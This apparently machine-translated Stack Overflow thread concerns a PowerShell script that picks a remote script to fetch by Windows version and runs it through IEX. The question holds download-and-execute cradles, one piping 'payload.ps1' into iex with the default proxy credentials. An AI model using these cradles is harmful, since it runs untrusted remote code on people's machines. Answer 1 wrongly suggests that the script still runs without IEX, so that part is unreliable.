powershell - 尝试使用 Get-WmiObject 来决定调用什么脚本

Question

(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex" 

获取 Wmi 对象 Win32 操作系统默认网络凭据

$host = ((Get-WmiObject Win32_OperatingSystem).Caption)
    if ($host -eq 'Microsoft Windows 7'){

    Write-Host "[+] Downloading windows 7 script"

        $URL = http://example.com
        IEX (New-Object Net.WebClient).DownloadString('$URL')}

elseif ($host -eq 'Microsoft Windows 8'){

        Write-Host "[+] Downloading windows 8 script"

ETC...

Answer 1

从提供的代码中，在 IEX 命令中，将双引号添加到环绕中，因为 Invoke-Expression 的 Command 参数接受字符串，并将单引号添加到 $URL 中。

    $URL = "http://example.com"
    IEX "(New-Object Net.WebClient).DownloadString('$URL')"

另外，Invoke-Expression 不需要运行 Net.WebClient，您可以简化如下。

     $URL = "http://example.com"
    (New-Object Net.WebClient).DownloadString($URL)

Answer 2

这就像$host一个自动变量一样发生。我的系统上的分配失败：

$host = ((Get-WmiObject Win32_OperatingSystem).Caption)
Cannot overwrite variable Host because it is read-only or constant.
At line:1 char:1
+ $host = ((Get-WmiObject Win32_OperatingSystem).Caption)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : WriteError: (Host:String) [], SessionStateUnauthorizedAccessException
    + FullyQualifiedErrorId : VariableNotWritable

尝试使用另一个变量名，例如$myHost.